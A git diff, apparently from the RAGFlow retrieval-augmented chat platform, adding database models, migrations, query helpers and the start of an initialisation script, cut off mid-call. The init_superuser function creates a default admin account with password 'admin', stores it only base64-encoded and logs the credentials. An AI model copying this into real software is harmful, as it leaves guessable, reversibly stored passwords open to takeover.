+ logging.debug(f"create table success: {obj.__name__}")
+ except Exception as e:
+ logging.exception(e)
+ create_failed_list.append(obj.__name__)
+ else:
+ logging.debug(f"table {obj.__name__} already exists, skip creation.")
+
+ if create_failed_list:
+ logging.error(f"create tables failed: {create_failed_list}")
+ raise Exception(f"create tables failed: {create_failed_list}")
+ migrate_db()
+
+
+def fill_db_model_object(model_object, human_model_dict):
+ for k, v in human_model_dict.items():
+ attr_name = "%s" % k
+ if hasattr(model_object.__class__, attr_name):
+ setattr(model_object, attr_name, v)
+ return model_object
+
+
+class User(DataBaseModel, UserMixin):
+ id = CharField(max_length=32, primary_key=True)
+ access_token = CharField(max_length=255, null=True, index=True)
+ nickname = CharField(max_length=100, null=False, help_text="nicky name", index=True)
+ password = CharField(max_length=255, null=True, help_text="password", index=True)
+ email = CharField(max_length=255, null=False, help_text="email", index=True)
+ avatar = TextField(null=True, help_text="avatar base64 string")
+ language = CharField(max_length=32, null=True, help_text="English|Chinese", default="Chinese" if "zh_CN" in os.getenv("LANG", "") else "English", index=True)
+ color_schema = CharField(max_length=32, null=True, help_text="Bright|Dark", default="Bright", index=True)
+ timezone = CharField(max_length=64, null=True, help_text="Timezone", default="UTC+8\tAsia/Shanghai", index=True)
+ last_login_time = DateTimeField(null=True, index=True)
+ is_authenticated = CharField(max_length=1, null=False, default="1", index=True)
+ is_active = CharField(max_length=1, null=False, default="1", index=True)
+ is_anonymous = CharField(max_length=1, null=False, default="0", index=True)
+ login_channel = CharField(null=True, help_text="from which user login", index=True)
+ status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True)
+ is_superuser = BooleanField(null=True, help_text="is root", default=False, index=True)
+
+ def __str__(self):
+ return self.email
+
+ def get_id(self):
+ jwt = Serializer(secret_key=settings.SECRET_KEY)
+ return jwt.dumps(str(self.access_token))
+
+ class Meta:
+ db_table = "user"
+
+
+class Tenant(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ name = CharField(max_length=100, null=True, help_text="Tenant name", index=True)
+ public_key = CharField(max_length=255, null=True, index=True)
+ llm_id = CharField(max_length=128, null=False, help_text="default llm ID", index=True)
+ embd_id = CharField(max_length=128, null=False, help_text="default embedding model ID", index=True)
+ asr_id = CharField(max_length=128, null=False, help_text="default ASR model ID", index=True)
+ img2txt_id = CharField(max_length=128, null=False, help_text="default image to text model ID", index=True)
+ rerank_id = CharField(max_length=128, null=False, help_text="default rerank model ID", index=True)
+ tts_id = CharField(max_length=256, null=True, help_text="default tts model ID", index=True)
+ parser_ids = CharField(max_length=256, null=False, help_text="document processors", index=True)
+ credit = IntegerField(default=512, index=True)
+ status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True)
+
+ class Meta:
+ db_table = "tenant"
+
+
+class UserTenant(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ user_id = CharField(max_length=32, null=False, index=True)
+ tenant_id = CharField(max_length=32, null=False, index=True)
+ role = CharField(max_length=32, null=False, help_text="UserTenantRole", index=True)
+ invited_by = CharField(max_length=32, null=False, index=True)
+ status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True)
+
+ class Meta:
+ db_table = "user_tenant"
+
+
+class InvitationCode(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ code = CharField(max_length=32, null=False, index=True)
+ visit_time = DateTimeField(null=True, index=True)
+ user_id = CharField(max_length=32, null=True, index=True)
+ tenant_id = CharField(max_length=32, null=True, index=True)
+ status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True)
+
+ class Meta:
+ db_table = "invitation_code"
+
+
+class LLMFactories(DataBaseModel):
+ name = CharField(max_length=128, null=False, help_text="LLM factory name", primary_key=True)
+ logo = TextField(null=True, help_text="llm logo base64")
+ tags = CharField(max_length=255, null=False, help_text="LLM, Text Embedding, Image2Text, ASR", index=True)
+ status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True)
+
+ def __str__(self):
+ return self.name
+
+ class Meta:
+ db_table = "llm_factories"
+
+
+class LLM(DataBaseModel):
+ # LLMs dictionary
+ llm_name = CharField(max_length=128, null=False, help_text="LLM name", index=True)
+ model_type = CharField(max_length=128, null=False, help_text="LLM, Text Embedding, Image2Text, ASR", index=True)
+ fid = CharField(max_length=128, null=False, help_text="LLM factory id", index=True)
+ max_tokens = IntegerField(default=0)
+
+ tags = CharField(max_length=255, null=False, help_text="LLM, Text Embedding, Image2Text, Chat, 32k...", index=True)
+ is_tools = BooleanField(null=False, help_text="support tools", default=False)
+ status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True)
+
+ def __str__(self):
+ return self.llm_name
+
+ class Meta:
+ primary_key = CompositeKey("fid", "llm_name")
+ db_table = "llm"
+
+
+class TenantLLM(DataBaseModel):
+ tenant_id = CharField(max_length=32, null=False, index=True)
+ llm_factory = CharField(max_length=128, null=False, help_text="LLM factory name", index=True)
+ model_type = CharField(max_length=128, null=True, help_text="LLM, Text Embedding, Image2Text, ASR", index=True)
+ llm_name = CharField(max_length=128, null=True, help_text="LLM name", default="", index=True)
+ api_key = CharField(max_length=2048, null=True, help_text="API KEY", index=True)
+ api_base = CharField(max_length=255, null=True, help_text="API Base")
+ max_tokens = IntegerField(default=8192, index=True)
+ used_tokens = IntegerField(default=0, index=True)
+
+ def __str__(self):
+ return self.llm_name
+
+ class Meta:
+ db_table = "tenant_llm"
+ primary_key = CompositeKey("tenant_id", "llm_factory", "llm_name")
+
+
+class TenantLangfuse(DataBaseModel):
+ tenant_id = CharField(max_length=32, null=False, primary_key=True)
+ secret_key = CharField(max_length=2048, null=False, help_text="SECRET KEY", index=True)
+ public_key = CharField(max_length=2048, null=False, help_text="PUBLIC KEY", index=True)
+ host = CharField(max_length=128, null=False, help_text="HOST", index=True)
+
+ def __str__(self):
+ return "Langfuse host" + self.host
+
+ class Meta:
+ db_table = "tenant_langfuse"
+
+
+class Knowledgebase(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ avatar = TextField(null=True, help_text="avatar base64 string")
+ tenant_id = CharField(max_length=32, null=False, index=True)
+ name = CharField(max_length=128, null=False, help_text="KB name", index=True)
+ language = CharField(max_length=32, null=True, default="Chinese" if "zh_CN" in os.getenv("LANG", "") else "English", help_text="English|Chinese", index=True)
+ description = TextField(null=True, help_text="KB description")
+ embd_id = CharField(max_length=128, null=False, help_text="default embedding model ID", index=True)
+ permission = CharField(max_length=16, null=False, help_text="me|team", default="me", index=True)
+ created_by = CharField(max_length=32, null=False, index=True)
+ doc_num = IntegerField(default=0, index=True)
+ token_num = IntegerField(default=0, index=True)
+ chunk_num = IntegerField(default=0, index=True)
+ similarity_threshold = FloatField(default=0.2, index=True)
+ vector_similarity_weight = FloatField(default=0.3, index=True)
+
+ parser_id = CharField(max_length=32, null=False, help_text="default parser ID", default=ParserType.NAIVE.value, index=True)
+ pipeline_id = CharField(max_length=32, null=True, help_text="Pipeline ID", index=True)
+ parser_config = JSONField(null=False, default={"pages": [[1, 1000000]]})
+ pagerank = IntegerField(default=0, index=False)
+
+ graphrag_task_id = CharField(max_length=32, null=True, help_text="Graph RAG task ID", index=True)
+ graphrag_task_finish_at = DateTimeField(null=True)
+ raptor_task_id = CharField(max_length=32, null=True, help_text="RAPTOR task ID", index=True)
+ raptor_task_finish_at = DateTimeField(null=True)
+ mindmap_task_id = CharField(max_length=32, null=True, help_text="Mindmap task ID", index=True)
+ mindmap_task_finish_at = DateTimeField(null=True)
+
+ status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True)
+
+ def __str__(self):
+ return self.name
+
+ class Meta:
+ db_table = "knowledgebase"
+
+
+class Document(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ thumbnail = TextField(null=True, help_text="thumbnail base64 string")
+ kb_id = CharField(max_length=256, null=False, index=True)
+ parser_id = CharField(max_length=32, null=False, help_text="default parser ID", index=True)
+ pipeline_id = CharField(max_length=32, null=True, help_text="pipleline ID", index=True)
+ parser_config = JSONField(null=False, default={"pages": [[1, 1000000]]})
+ source_type = CharField(max_length=128, null=False, default="local", help_text="where dose this document come from", index=True)
+ type = CharField(max_length=32, null=False, help_text="file extension", index=True)
+ created_by = CharField(max_length=32, null=False, help_text="who created it", index=True)
+ name = CharField(max_length=255, null=True, help_text="file name", index=True)
+ location = CharField(max_length=255, null=True, help_text="where dose it store", index=True)
+ size = IntegerField(default=0, index=True)
+ token_num = IntegerField(default=0, index=True)
+ chunk_num = IntegerField(default=0, index=True)
+ progress = FloatField(default=0, index=True)
+ progress_msg = TextField(null=True, help_text="process message", default="")
+ process_begin_at = DateTimeField(null=True, index=True)
+ process_duration = FloatField(default=0)
+ meta_fields = JSONField(null=True, default={})
+ suffix = CharField(max_length=32, null=False, help_text="The real file extension suffix", index=True)
+
+ run = CharField(max_length=1, null=True, help_text="start to run processing or cancel.(1: run it; 2: cancel)", default="0", index=True)
+ status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True)
+
+ class Meta:
+ db_table = "document"
+
+
+class File(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ parent_id = CharField(max_length=32, null=False, help_text="parent folder id", index=True)
+ tenant_id = CharField(max_length=32, null=False, help_text="tenant id", index=True)
+ created_by = CharField(max_length=32, null=False, help_text="who created it", index=True)
+ name = CharField(max_length=255, null=False, help_text="file name or folder name", index=True)
+ location = CharField(max_length=255, null=True, help_text="where dose it store", index=True)
+ size = IntegerField(default=0, index=True)
+ type = CharField(max_length=32, null=False, help_text="file extension", index=True)
+ source_type = CharField(max_length=128, null=False, default="", help_text="where dose this document come from", index=True)
+
+ class Meta:
+ db_table = "file"
+
+
+class File2Document(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ file_id = CharField(max_length=32, null=True, help_text="file id", index=True)
+ document_id = CharField(max_length=32, null=True, help_text="document id", index=True)
+
+ class Meta:
+ db_table = "file2document"
+
+
+class Task(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ doc_id = CharField(max_length=32, null=False, index=True)
+ from_page = IntegerField(default=0)
+ to_page = IntegerField(default=100000000)
+ task_type = CharField(max_length=32, null=False, default="")
+ priority = IntegerField(default=0)
+
+ begin_at = DateTimeField(null=True, index=True)
+ process_duration = FloatField(default=0)
+
+ progress = FloatField(default=0, index=True)
+ progress_msg = TextField(null=True, help_text="process message", default="")
+ retry_count = IntegerField(default=0)
+ digest = TextField(null=True, help_text="task digest", default="")
+ chunk_ids = LongTextField(null=True, help_text="chunk ids", default="")
+
+
+class Dialog(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ tenant_id = CharField(max_length=32, null=False, index=True)
+ name = CharField(max_length=255, null=True, help_text="dialog application name", index=True)
+ description = TextField(null=True, help_text="Dialog description")
+ icon = TextField(null=True, help_text="icon base64 string")
+ language = CharField(max_length=32, null=True, default="Chinese" if "zh_CN" in os.getenv("LANG", "") else "English", help_text="English|Chinese", index=True)
+ llm_id = CharField(max_length=128, null=False, help_text="default llm ID")
+
+ llm_setting = JSONField(null=False, default={"temperature": 0.1, "top_p": 0.3, "frequency_penalty": 0.7, "presence_penalty": 0.4, "max_tokens": 512})
+ prompt_type = CharField(max_length=16, null=False, default="simple", help_text="simple|advanced", index=True)
+ prompt_config = JSONField(
+ null=False,
+ default={"system": "", "prologue": "Hi! I'm your assistant. What can I do for you?", "parameters": [], "empty_response": "Sorry! No relevant content was found in the knowledge base!"},
+ )
+ meta_data_filter = JSONField(null=True, default={})
+
+ similarity_threshold = FloatField(default=0.2)
+ vector_similarity_weight = FloatField(default=0.3)
+
+ top_n = IntegerField(default=6)
+
+ top_k = IntegerField(default=1024)
+
+ do_refer = CharField(max_length=1, null=False, default="1", help_text="it needs to insert reference index into answer or not")
+
+ rerank_id = CharField(max_length=128, null=False, help_text="default rerank model ID")
+
+ kb_ids = JSONField(null=False, default=[])
+ status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True)
+
+ class Meta:
+ db_table = "dialog"
+
+
+class Conversation(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ dialog_id = CharField(max_length=32, null=False, index=True)
+ name = CharField(max_length=255, null=True, help_text="converastion name", index=True)
+ message = JSONField(null=True)
+ reference = JSONField(null=True, default=[])
+ user_id = CharField(max_length=255, null=True, help_text="user_id", index=True)
+
+ class Meta:
+ db_table = "conversation"
+
+
+class APIToken(DataBaseModel):
+ tenant_id = CharField(max_length=32, null=False, index=True)
+ token = CharField(max_length=255, null=False, index=True)
+ dialog_id = CharField(max_length=32, null=True, index=True)
+ source = CharField(max_length=16, null=True, help_text="none|agent|dialog", index=True)
+ beta = CharField(max_length=255, null=True, index=True)
+
+ class Meta:
+ db_table = "api_token"
+ primary_key = CompositeKey("tenant_id", "token")
+
+
+class API4Conversation(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ dialog_id = CharField(max_length=32, null=False, index=True)
+ user_id = CharField(max_length=255, null=False, help_text="user_id", index=True)
+ message = JSONField(null=True)
+ reference = JSONField(null=True, default=[])
+ tokens = IntegerField(default=0)
+ source = CharField(max_length=16, null=True, help_text="none|agent|dialog", index=True)
+ dsl = JSONField(null=True, default={})
+ duration = FloatField(default=0, index=True)
+ round = IntegerField(default=0, index=True)
+ thumb_up = IntegerField(default=0, index=True)
+ errors = TextField(null=True, help_text="errors")
+
+ class Meta:
+ db_table = "api_4_conversation"
+
+
+class UserCanvas(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ avatar = TextField(null=True, help_text="avatar base64 string")
+ user_id = CharField(max_length=255, null=False, help_text="user_id", index=True)
+ title = CharField(max_length=255, null=True, help_text="Canvas title")
+
+ permission = CharField(max_length=16, null=False, help_text="me|team", default="me", index=True)
+ description = TextField(null=True, help_text="Canvas description")
+ canvas_type = CharField(max_length=32, null=True, help_text="Canvas type", index=True)
+ canvas_category = CharField(max_length=32, null=False, default="agent_canvas", help_text="Canvas category: agent_canvas|dataflow_canvas", index=True)
+ dsl = JSONField(null=True, default={})
+
+ class Meta:
+ db_table = "user_canvas"
+
+
+class CanvasTemplate(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ avatar = TextField(null=True, help_text="avatar base64 string")
+ title = JSONField(null=True, default=dict, help_text="Canvas title")
+ description = JSONField(null=True, default=dict, help_text="Canvas description")
+ canvas_type = CharField(max_length=32, null=True, help_text="Canvas type", index=True)
+ canvas_category = CharField(max_length=32, null=False, default="agent_canvas", help_text="Canvas category: agent_canvas|dataflow_canvas", index=True)
+ dsl = JSONField(null=True, default={})
+
+ class Meta:
+ db_table = "canvas_template"
+
+
+class UserCanvasVersion(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ user_canvas_id = CharField(max_length=255, null=False, help_text="user_canvas_id", index=True)
+
+ title = CharField(max_length=255, null=True, help_text="Canvas title")
+ description = TextField(null=True, help_text="Canvas description")
+ dsl = JSONField(null=True, default={})
+
+ class Meta:
+ db_table = "user_canvas_version"
+
+
+class MCPServer(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ name = CharField(max_length=255, null=False, help_text="MCP Server name")
+ tenant_id = CharField(max_length=32, null=False, index=True)
+ url = CharField(max_length=2048, null=False, help_text="MCP Server URL")
+ server_type = CharField(max_length=32, null=False, help_text="MCP Server type")
+ description = TextField(null=True, help_text="MCP Server description")
+ variables = JSONField(null=True, default=dict, help_text="MCP Server variables")
+ headers = JSONField(null=True, default=dict, help_text="MCP Server additional request headers")
+
+ class Meta:
+ db_table = "mcp_server"
+
+
+class Search(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ avatar = TextField(null=True, help_text="avatar base64 string")
+ tenant_id = CharField(max_length=32, null=False, index=True)
+ name = CharField(max_length=128, null=False, help_text="Search name", index=True)
+ description = TextField(null=True, help_text="KB description")
+ created_by = CharField(max_length=32, null=False, index=True)
+ search_config = JSONField(
+ null=False,
+ default={
+ "kb_ids": [],
+ "doc_ids": [],
+ "similarity_threshold": 0.2,
+ "vector_similarity_weight": 0.3,
+ "use_kg": False,
+ # rerank settings
+ "rerank_id": "",
+ "top_k": 1024,
+ # chat settings
+ "summary": False,
+ "chat_id": "",
+ # Leave it here for reference, don't need to set default values
+ "llm_setting": {
+ # "temperature": 0.1,
+ # "top_p": 0.3,
+ # "frequency_penalty": 0.7,
+ # "presence_penalty": 0.4,
+ },
+ "chat_settingcross_languages": [],
+ "highlight": False,
+ "keyword": False,
+ "web_search": False,
+ "related_search": False,
+ "query_mindmap": False,
+ },
+ )
+ status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True)
+
+ def __str__(self):
+ return self.name
+
+ class Meta:
+ db_table = "search"
+
+
+class PipelineOperationLog(DataBaseModel):
+ id = CharField(max_length=32, primary_key=True)
+ document_id = CharField(max_length=32, index=True)
+ tenant_id = CharField(max_length=32, null=False, index=True)
+ kb_id = CharField(max_length=32, null=False, index=True)
+ pipeline_id = CharField(max_length=32, null=True, help_text="Pipeline ID", index=True)
+ pipeline_title = CharField(max_length=32, null=True, help_text="Pipeline title", index=True)
+ parser_id = CharField(max_length=32, null=False, help_text="Parser ID", index=True)
+ document_name = CharField(max_length=255, null=False, help_text="File name")
+ document_suffix = CharField(max_length=255, null=False, help_text="File suffix")
+ document_type = CharField(max_length=255, null=False, help_text="Document type")
+ source_from = CharField(max_length=255, null=False, help_text="Source")
+ progress = FloatField(default=0, index=True)
+ progress_msg = TextField(null=True, help_text="process message", default="")
+ process_begin_at = DateTimeField(null=True, index=True)
+ process_duration = FloatField(default=0)
+ dsl = JSONField(null=True, default=dict)
+ task_type = CharField(max_length=32, null=False, default="")
+ operation_status = CharField(max_length=32, null=False, help_text="Operation status")
+ avatar = TextField(null=True, help_text="avatar base64 string")
+ status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True)
+
+ class Meta:
+ db_table = "pipeline_operation_log"
+
+
+def migrate_db():
+ logging.disable(logging.ERROR)
+ migrator = DatabaseMigrator[settings.DATABASE_TYPE.upper()].value(DB)
+ try:
+ migrate(migrator.add_column("file", "source_type", CharField(max_length=128, null=False, default="", help_text="where dose this document come from", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("tenant", "rerank_id", CharField(max_length=128, null=False, default="BAAI/bge-reranker-v2-m3", help_text="default rerank model ID")))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("dialog", "rerank_id", CharField(max_length=128, null=False, default="", help_text="default rerank model ID")))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("dialog", "top_k", IntegerField(default=1024)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.alter_column_type("tenant_llm", "api_key", CharField(max_length=2048, null=True, help_text="API KEY", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("api_token", "source", CharField(max_length=16, null=True, help_text="none|agent|dialog", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("tenant", "tts_id", CharField(max_length=256, null=True, help_text="default tts model ID", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("api_4_conversation", "source", CharField(max_length=16, null=True, help_text="none|agent|dialog", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("task", "retry_count", IntegerField(default=0)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.alter_column_type("api_token", "dialog_id", CharField(max_length=32, null=True, index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("tenant_llm", "max_tokens", IntegerField(default=8192, index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("api_4_conversation", "dsl", JSONField(null=True, default={})))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("knowledgebase", "pagerank", IntegerField(default=0, index=False)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("api_token", "beta", CharField(max_length=255, null=True, index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("task", "digest", TextField(null=True, help_text="task digest", default="")))
+ except Exception:
+ pass
+
+ try:
+ migrate(migrator.add_column("task", "chunk_ids", LongTextField(null=True, help_text="chunk ids", default="")))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("conversation", "user_id", CharField(max_length=255, null=True, help_text="user_id", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("document", "meta_fields", JSONField(null=True, default={})))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("task", "task_type", CharField(max_length=32, null=False, default="")))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("task", "priority", IntegerField(default=0)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("user_canvas", "permission", CharField(max_length=16, null=False, help_text="me|team", default="me", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("llm", "is_tools", BooleanField(null=False, help_text="support tools", default=False)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("mcp_server", "variables", JSONField(null=True, help_text="MCP Server variables", default=dict)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.rename_column("task", "process_duation", "process_duration"))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.rename_column("document", "process_duation", "process_duration"))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("document", "suffix", CharField(max_length=32, null=False, default="", help_text="The real file extension suffix", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("api_4_conversation", "errors", TextField(null=True, help_text="errors")))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("dialog", "meta_data_filter", JSONField(null=True, default={})))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.alter_column_type("canvas_template", "title", JSONField(null=True, default=dict, help_text="Canvas title")))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.alter_column_type("canvas_template", "description", JSONField(null=True, default=dict, help_text="Canvas description")))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("user_canvas", "canvas_category", CharField(max_length=32, null=False, default="agent_canvas", help_text="agent_canvas|dataflow_canvas", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("canvas_template", "canvas_category", CharField(max_length=32, null=False, default="agent_canvas", help_text="agent_canvas|dataflow_canvas", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("knowledgebase", "pipeline_id", CharField(max_length=32, null=True, help_text="Pipeline ID", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("document", "pipeline_id", CharField(max_length=32, null=True, help_text="Pipeline ID", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("knowledgebase", "graphrag_task_id", CharField(max_length=32, null=True, help_text="Gragh RAG task ID", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("knowledgebase", "raptor_task_id", CharField(max_length=32, null=True, help_text="RAPTOR task ID", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("knowledgebase", "graphrag_task_finish_at", DateTimeField(null=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("knowledgebase", "raptor_task_finish_at", CharField(null=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("knowledgebase", "mindmap_task_id", CharField(max_length=32, null=True, help_text="Mindmap task ID", index=True)))
+ except Exception:
+ pass
+ try:
+ migrate(migrator.add_column("knowledgebase", "mindmap_task_finish_at", CharField(null=True)))
+ except Exception:
+ pass
+ logging.disable(logging.NOTSET)
diff --git a/api/db/db_utils.py b/api/db/db_utils.py
new file mode 100644
index 0000000..e597e33
--- /dev/null
+++ b/api/db/db_utils.py
@@ -0,0 +1,128 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import operator
+from functools import reduce
+
+from playhouse.pool import PooledMySQLDatabase
+
+from api.utils import current_timestamp, timestamp_to_date
+
+from api.db.db_models import DB, DataBaseModel
+
+
+@DB.connection_context()
+def bulk_insert_into_db(model, data_source, replace_on_conflict=False):
+ DB.create_tables([model])
+
+ for i, data in enumerate(data_source):
+ current_time = current_timestamp() + i
+ current_date = timestamp_to_date(current_time)
+ if 'create_time' not in data:
+ data['create_time'] = current_time
+ data['create_date'] = timestamp_to_date(data['create_time'])
+ data['update_time'] = current_time
+ data['update_date'] = current_date
+
+ preserve = tuple(data_source[0].keys() - {'create_time', 'create_date'})
+
+ batch_size = 1000
+
+ for i in range(0, len(data_source), batch_size):
+ with DB.atomic():
+ query = model.insert_many(data_source[i:i + batch_size])
+ if replace_on_conflict:
+ if isinstance(DB, PooledMySQLDatabase):
+ query = query.on_conflict(preserve=preserve)
+ else:
+ query = query.on_conflict(conflict_target="id", preserve=preserve)
+ query.execute()
+
+
+def get_dynamic_db_model(base, job_id):
+ return type(base.model(
+ table_index=get_dynamic_tracking_table_index(job_id=job_id)))
+
+
+def get_dynamic_tracking_table_index(job_id):
+ return job_id[:8]
+
+
+def fill_db_model_object(model_object, human_model_dict):
+ for k, v in human_model_dict.items():
+ attr_name = 'f_%s' % k
+ if hasattr(model_object.__class__, attr_name):
+ setattr(model_object, attr_name, v)
+ return model_object
+
+
+# https://docs.peewee-orm.com/en/latest/peewee/query_operators.html
+supported_operators = {
+ '==': operator.eq,
+ '<': operator.lt,
+ '<=': operator.le,
+ '>': operator.gt,
+ '>=': operator.ge,
+ '!=': operator.ne,
+ '<<': operator.lshift,
+ '>>': operator.rshift,
+ '%': operator.mod,
+ '**': operator.pow,
+ '^': operator.xor,
+ '~': operator.inv,
+}
+
+
+def query_dict2expression(
+ model: type[DataBaseModel], query: dict[str, bool | int | str | list | tuple]):
+ expression = []
+
+ for field, value in query.items():
+ if not isinstance(value, (list, tuple)):
+ value = ('==', value)
+ op, *val = value
+
+ field = getattr(model, f'f_{field}')
+ value = supported_operators[op](
+ field, val[0]) if op in supported_operators else getattr(
+ field, op)(
+ *val)
+ expression.append(value)
+
+ return reduce(operator.iand, expression)
+
+
+def query_db(model: type[DataBaseModel], limit: int = 0, offset: int = 0,
+ query: dict = None, order_by: str | list | tuple | None = None):
+ data = model.select()
+ if query:
+ data = data.where(query_dict2expression(model, query))
+ count = data.count()
+
+ if not order_by:
+ order_by = 'create_time'
+ if not isinstance(order_by, (list, tuple)):
+ order_by = (order_by, 'asc')
+ order_by, order = order_by
+ order_by = getattr(model, f'f_{order_by}')
+ order_by = getattr(order_by, order)()
+ data = data.order_by(order_by)
+
+ if limit > 0:
+ data = data.limit(limit)
+ if offset > 0:
+ data = data.offset(offset)
+
+ return list(data), count
diff --git a/api/db/init_data.py b/api/db/init_data.py
new file mode 100644
index 0000000..39b87d0
--- /dev/null
+++ b/api/db/init_data.py
@@ -0,0 +1,179 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import json
+import os
+import time
+import uuid
+from copy import deepcopy
+
+from api.db import LLMType, UserTenantRole
+from api.db.db_models import init_database_tables as init_web_db, LLMFactories, LLM, TenantLLM
+from api.db.services import UserService
+from api.db.services.canvas_service import CanvasTemplateService
+from api.db.services.document_service import DocumentService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.tenant_llm_service import LLMFactoriesService, TenantLLMService
+from api.db.services.llm_service import LLMService, LLMBundle, get_init_tenant_llm
+from api.db.services.user_service import TenantService, UserTenantService
+from api import settings
+from api.utils.file_utils import get_project_base_directory
+from api.common.base64 import encode_to_base64
+
+
+def init_superuser():
+ user_info = {
+ "id": uuid.uuid1().hex,
+ "password": encode_to_base64("admin"),
+ "nickname": "admin",
+ "is_superuser": True,
+ "email": "admin@ragflow.io",
+ "creator": "system",
+ "status": "1",
+ }
+ tenant = {
+ "id": user_info["id"],
+ "name": user_info["nickname"] + "‘s Kingdom",
+ "llm_id": settings.CHAT_MDL,
+ "embd_id": settings.EMBEDDING_MDL,
+ "asr_id": settings.ASR_MDL,
+ "parser_ids": settings.PARSERS,
+ "img2txt_id": settings.IMAGE2TEXT_MDL
+ }
+ usr_tenant = {
+ "tenant_id": user_info["id"],
+ "user_id": user_info["id"],
+ "invited_by": user_info["id"],
+ "role": UserTenantRole.OWNER
+ }
+
+ tenant_llm = get_init_tenant_llm(user_info["id"])
+
+ if not UserService.save(**user_info):
+ logging.error("can't init admin.")
+ return
+ TenantService.insert(**tenant)
+ UserTenantService.insert(**usr_tenant)
+ TenantLLMService.insert_many(tenant_llm)
+ logging.info(
+ "Super user initialized. email: admin@ragflow.io, password: admin. Changing the password after login is strongly recommended.")
+
+ chat_mdl = LLMBundle(tenant["id"], LLMType.CHAT, tenant["llm_id"])
+ msg = chat_mdl.chat(system="", history=[
